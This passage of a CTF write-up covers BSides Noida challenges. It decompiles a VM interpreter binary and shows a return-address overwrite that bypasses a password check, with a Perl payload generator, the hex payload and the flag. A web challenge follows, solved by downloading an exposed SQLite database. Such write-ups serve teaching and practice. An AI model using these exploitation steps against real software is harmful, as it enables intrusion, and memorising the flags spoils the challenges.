std::basic_ios<char,std::char_traits<char>>::clear
((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
}
else {
std::basic_ios<char,std::char_traits<char>>::clear
((int)register0x00000020 + -0x228 + (int)*(undefined8 *)(local_228[0] + -0x18));
}
local_248 = &local_238;
local_240 = 0;
local_238 = '\0';
/* try { // try from 001025c1 to 00102628 has its CatchHandler @ 00102629 */
std::operator>>((basic_istream *)local_228,(basic_string *)&local_248);
std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,"Here\'s your first reward : ",0x1b);
plVar4 = (long *)std::__ostream_insert<char,std::char_traits<char>>
((basic_ostream *)std::cout,local_248,local_240);
plVar1 = *(long **)((long)plVar4 + *(long *)(*plVar4 + -0x18) + 0xf0);
if (plVar1 == (long *)0x0) {
uVar5 = std::__throw_bad_cast();
/* catch(type#1 @ 00000000) { ... } // from try @ 001025c1 with catch @ 00102629
catch(type#1 @ 00000000) { ... } // from try @ 00102649 with catch @ 00102629
*/
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream
((basic_ifstream<char,std::char_traits<char>> *)local_228);
/* WARNING: Subroutine does not return */
_Unwind_Resume(uVar5);
}
if (*(char *)(plVar1 + 7) == '\0') {
/* try { // try from 00102649 to 00102668 has its CatchHandler @ 00102629 */
std::ctype<char>::_M_widen_init();
(**(code **)(*plVar1 + 0x30))(plVar1,10);
}
std::basic_ostream<char,std::char_traits<char>>::put((char)plVar4);
std::basic_ostream<char,std::char_traits<char>>::flush();
if (local_248 != &local_238) {
operator.delete(local_248,CONCAT71(uStack567,local_238) + 1);
}
local_228[0] = 0x104ce8;
local_128[0] = 0x104d10;
local_228[2] = 0x104d30;
/* try { // try from 001026ae to 001026b2 has its CatchHandler @ 001026b5 */
std::basic_filebuf<char,std::char_traits<char>>::close();
std::__basic_file<char>::~__basic_file(local_1b0);
local_228[2] = 0x104c60;
std::locale::~locale(local_1e0);
local_228[0] = std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_;
*(undefined8 *)
((long)local_228 +
*(long *)(std::basic_ifstream<char,std::char_traits<char>>::VTT._8_8_ + -0x18)) =
std::basic_ifstream<char,std::char_traits<char>>::VTT._16_8_;
local_228[1] = 0;
local_128[0] = 0x104c40;
std::ios_base::~ios_base((ios_base *)local_128);
goto LAB_00102726;
}
std::__ostream_insert<char,std::char_traits<char>>((basic_ostream *)std::cout,"Nope Mate",9);
plVar1 = *(long **)(std::cout + *(long *)(std::cout._0_8_ + -0x18) + 0xf0);
if (plVar1 == (long *)0x0) {
std::__throw_bad_cast();
LAB_001024a4:
std::ctype<char>::_M_widen_init();
(**(code **)(*plVar1 + 0x30))(plVar1,10);
}
else {
if (*(char *)(plVar1 + 7) == '\0') goto LAB_001024a4;
}
std::basic_ostream<char,std::char_traits<char>>::put(-0x80);
std::basic_ostream<char,std::char_traits<char>>::flush();
LAB_00102726:
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Also, disassembling Interpreter
via objdump
from TDM-GCC, I found these things:
- The data for
reg
is stored fromRSP + 0x08
. - The data for
RAM
is stored fromRSP + 0x10
. -
reg[0]
toreg[3]
are initialized to0
andRAM[0]
is initialized to1
. - There is a canary at
RSP + 0x68
. - 6 values are pushed and
0x78
is subtracted fromRSP
in the function prologue, so the return address is stored fromRSP + 0xa8
.
Not clearly stated, I guessed that the flag can be obtained by entering a program that passes the check of the c
instruction.
The check of the c
instruction (the function FUN_0010234f
) was comparing the given data with "3p1cl337-k3yw0rd"
via the function strncmp
.
I decided to jump to the code that is executed after passing this check by modifying the return address for the function FUN_00102750
because I thought that creating such long data should be difficult.
The first part of disassembling result of the function FUN_0010234f
was:
234f: 55 push %rbp
2350: 53 push %rbx
2351: 48 81 ec 38 02 00 00 sub $0x238,%rsp
2358: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
235f: 00 00
2361: 48 89 84 24 28 02 00 mov %rax,0x228(%rsp)
2368: 00
2369: 31 c0 xor %eax,%eax
236b: ba 10 00 00 00 mov $0x10,%edx
2370: 48 8d 35 8d 0c 00 00 lea 0xc8d(%rip),%rsi # 3004 <_ZNSt12__basic_fileIcED1Ev@plt+0xdf4>
2377: e8 34 fd ff ff callq 20b0 <strncmp@plt>
237c: 85 c0 test %eax,%eax
237e: 0f 85 c2 00 00 00 jne 2446 <_ZNSt12__basic_fileIcED1Ev@plt+0x236>
2384: ba 19 00 00 00 mov $0x19,%edx
From this part, I can tell that the address of "the code that is executed after passing the check" is 0x2384.
Also, the prologue of the function changes RSP by some number which leaves 8 when divided by 16.
This means there shouldn't be a stack alignment problem when jumping to the part after this by modifying a return address.
Also, I found that where to return from the function FUN_00102750
is 0x2b0c via Ghidra.
Therefore, subtracting 0x788
from the least 2 bytes of the return address will lead to success. (0x2384 - 0x2b0c = -0x788
)
Considering the data layout on the stack, the return address is placed at reg[0x50]
to reg[0x53]
.
0x788
should be subtracted from the least 2 bytes reg[0x50]
.
(I made a mistake to subtract 0x790 to jump to 0x237c.
It seems that the check via test
instruction on 0x237c was passed because the function FUN_00102750
returns 0 when the execution ended without executing the c
instruction.)
Now we can subtract 0x788
from the return address if we create the value.
Any 16-bit value can be constructed using RAM[0]
(reg[4]
), which is initialized to 1, like this:
- Initialize "result" to 0 and "value to add" to 1.
- If the bitwise-AND of "value to add" and the value to construct is not zero, add "value to add" to "result".
- Double "value to add". In other words, add "value to add" to "value to add".
- Repeat 2 and 3 until "result" becomes the value to construct.
Here is a program that outputs a program to construct the value in this way when a value is specified:
num_gen.pl
#!/usr/bin/perl
use strict;
use warnings;
if (@ARGV < 1) {
die "Usage: perl num_gen.pl target_number\n";
}
my $target = int($ARGV[0]);
print "a114";
if ($target > 0) {
do {
if ($target & 1) { print "a001"; }
print "a111";
$target >>= 1;
} while ($target > 1);
print "a001";
}
print "\n";
I added an instruction to subtract the constructed value from the return address to the output of the program and sent this via "Send File" in Tera Term.
00000000 61 31 31 34 61 31 31 31 61 31 31 31 61 31 31 31 |a114a111a111a111|
00000010 61 31 31 31 61 30 30 31 61 31 31 31 61 31 31 31 |a111a001a111a111|
00000020 61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31 |a111a001a111a001|
00000030 61 31 31 31 61 30 30 31 61 31 31 31 61 30 30 31 |a111a001a111a001|
00000040 73 80 80 30 0a |s..0.|
As a result, I obtained the flag.
BSNoida{d009e54bdfff4d8cdeeebab05df02280}
Web
Baby Web
An URL of a web page and the files on the server were given.
The web page had a form to enter an ID and it can search for that.
Reading index.php
in the given files, I found a part:
$channel_name = $_GET['chall_id'];
$sql = "SELECT * FROM CTF WHERE id={$channel_name}";
$results = $db->query($sql);
However, putting 1 or 1=1
or id
as the ID resulted in seeing an error page.
Reading index.php
further, I found a part:
$this->open('./karma.db');
This is suggesting that a file karma.db
is at the same directory as the index.php
.
According to this, I downloaded http://ctf.babyweb.bsidesnoida.in/karma.db
and opened that with TkSQLite.
I found a table named flagsss
and the flag was stored there.
BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}